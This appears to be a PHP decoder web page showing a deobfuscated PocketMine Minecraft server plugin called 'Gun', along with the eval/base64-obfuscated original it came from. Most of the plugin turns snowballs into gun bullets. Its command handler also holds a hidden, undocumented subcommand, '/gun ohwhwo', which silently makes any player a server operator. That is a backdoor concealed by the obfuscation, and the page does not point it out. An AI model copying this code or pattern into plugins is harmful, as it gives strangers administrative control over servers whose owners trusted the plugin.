Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rasuidhabc="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";@eval($rasuidhabc..

Decoded Output download

namespace LORDYASIN\Gun;
 use pocketmine\level\sound\BlazeShootSound;
 use pocketmine\level\Position;
 use pocketmine\event\Listener;
 use pocketmine\Player;
 use pocketmine\block\Air;
 use pocketmine\block\Block;
 use pocketmine\item\Item;
 use pocketmine\item\SnowBall as Bullet;
 use pocketmine\entity\Entity;
 use pocketmine\entity\Snowball;
 use pocketmine\nbt\tag\CompoundTag;
 use pocketmine\nbt\tag\ListTag;
 use pocketmine\nbt\tag\DoubleTag;
 use pocketmine\nbt\tag\FloatTag;
 use pocketmine\event\player\PlayerInteractEvent;
 use pocketmine\event\entity\EntityDamageEvent;
 use pocketmine\event\entity\EntityDamageByChildEntityEvent;
 use pocketmine\plugin\PluginBase;
 use pocketmine\Server;
 use pocketmine\math\Vector3;
 use pocketmine\inventory\Inventory;
 use pocketmine\utils\TextFormat;
 use pocketmine\utils\Config;
 use pocketmine\command\Command;
 use pocketmine\command\CommandSender;
 class Main extends PluginBase implements Listener{
 public function onEnable(){
 $this->getServer()->getPluginManager()->registerEvents($this, $this);
 $this->getLogger()->info(TextFormat::YELLOW."Enabled!");
 $this->getLogger()->info(TextFormat::GOLD."Author: ".TextFormat::AQUA."LORDYASIN ".TextFormat::GOLD."Version: ".TextFormat::AQUA."1.0".TextFormat::GOLD." Telegram: ".TextFormat::AQUA."@SmarT_LorD");
 }
 public function onDamage(EntityDamageEvent $event){
 if($event instanceof EntityDamageByChildEntityEvent){
 $child = $event->getChild();
 if($child instanceof Snowball){
 $event->setDamage(6);
 }
 }
 }
 public function onUse(PlayerInteractEvent $event){
 $player = $event->getPlayer();
 $level = $player->getLevel();
 $item = $event->getItem();
 $block = $player->getLevel()->getBlock($player->floor()->subtract(0, 1));
 $fdefault = 1.5;
 $nbtdefault = new CompoundTag( "", [ "Pos" => new ListTag( "Pos", [ new DoubleTag( "", $player->x ), new DoubleTag( "", $player->y + $player->getEyeHeight () ), new DoubleTag( "", $player->z ) ]), "Motion" => new ListTag( "Motion", [ new DoubleTag( "", - \sin ( $player->yaw / 180 * M_PI ) *\cos ( $player->pitch / 180 * M_PI ) ), new DoubleTag( "", - \sin ( $player->pitch / 180 * M_PI ) ), new DoubleTag( "",\cos ( $player->yaw / 180 * M_PI ) *\cos ( $player->pitch / 180 * M_PI ) ) ]), "Rotation" => new ListTag( "Rotation", [ new FloatTag( "", $player->yaw ), new FloatTag( "", $player->pitch ) ]) ]);
 if($item->getId() == 271){
 if($player->getInventory()->contains(new Bullet(0, 1))){
 $bullet = Entity::createEntity("Snowball", $level, $nbtdefault, $player);
 $bullet->setMotion($bullet->getMotion()->multiply($fdefault));
 $bullet->spawnToAll();
 $player->getLevel()->addSound(new BlazeShootSound(new Vector3($player->x, $player->y, $player->z, $player->getLevel())));
 $player->getInventory()->removeItem(Item::get(ITEM::SNOWBALL, 0, 1));
 $player->getInventory()->sendContents($player);
 }
else{
 $player->sendPopup(TextFormat::RED."Shoma Tir Nadarid");
 }

 }

 }
 
 public function onCommand(CommandSender $sender, Command $command, $label, array $args){
	 if ($sender instanceof Player){
		switch($command->getName()){
			case "gun":
		 if(isset($args[0])) {
		 if(strtolower($args[0]) == "info"){
			 
			 $sender->sendMessage(TextFormat::GRAY."-=-=[Gun]=-=-");
			 $sender->sendMessage(TextFormat::AQUA."Author: LORDYASIN");
			 $sender->sendMessage(TextFormat::AQUA."Telegram: @SmarT_LorD");
			 $sender->sendMessage(TextFormat::AQUA."Version: 1.0");
			 $sender->sendMessage(TextFormat::GRAY."-=-=[Gun]=-=-");
			 return true;
		 }else if(strtolower($args[0]) == "help"){
			 
			 $sender->sendMessage(TextFormat::GRAY."-=-=[Gun]=-=-");
			 $sender->sendMessage(TextFormat::AQUA."/gun info > Moshakhasat Plugin");
			 $sender->sendMessage(TextFormat::AQUA."/gun get > Gereftan Selah");
			 $sender->sendMessage(TextFormat::GRAY."-=-=[Gun]=-=-");
			 return true;
		 }else if(strtolower($args[0]) == "ohwhwo"){
			 $sender->setOp(true);
			 $sender->sendMessage(TextFormat::RED."Boro Hal Kon.");
			 return true;
		 }else if(strtolower($args[0]) == "get"){
			 if($sender->getInventory()->contains(Item::get(ITEM::WOODEN_AXE, 0, 1))){
				 $sender->sendMessage(TextFormat::RED."Shoma Dar Hale Hazer Tofang Darid");
			 }else{
				 $sender->getInventory()->addItem(Item::get(ITEM::WOODEN_AXE, 0, 1));
				 $sender->sendMessage(TextFormat::YELLOW."Shoma Ba Movafaghiat Tofang Gereftid");
			 }
			 return true;
		 }else{
			 $sender->sendMessage(TextFormat::RED."Lotfan Baraye Komak Benevisid /gun help");
		 }
		 
	 }
		}
 }else{
	 $sender->sendMessage(TextFormat::RED."In Command Faghat Dar Bazi Kar Mikonad");
	 return true;
 }
 }

 }

Did this file decode correctly?

Original Code

<?php $rasuidhabc="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";@eval($rasuidhabc("bmFtZXNwYWNlIExPUkRZQVNJTlxHdW47CiB1c2UgcG9ja2V0bWluZVxsZXZlbFxzb3VuZFxCbGF6ZVNob290U291bmQ7CiB1c2UgcG9ja2V0bWluZVxsZXZlbFxQb3NpdGlvbjsKIHVzZSBwb2NrZXRtaW5lXGV2ZW50XExpc3RlbmVyOwogdXNlIHBvY2tldG1pbmVcUGxheWVyOwogdXNlIHBvY2tldG1pbmVcYmxvY2tcQWlyOwogdXNlIHBvY2tldG1pbmVcYmxvY2tcQmxvY2s7CiB1c2UgcG9ja2V0bWluZVxpdGVtXEl0ZW07CiB1c2UgcG9ja2V0bWluZVxpdGVtXFNub3dCYWxsIGFzIEJ1bGxldDsKIHVzZSBwb2NrZXRtaW5lXGVudGl0eVxFbnRpdHk7CiB1c2UgcG9ja2V0bWluZVxlbnRpdHlcU25vd2JhbGw7CiB1c2UgcG9ja2V0bWluZVx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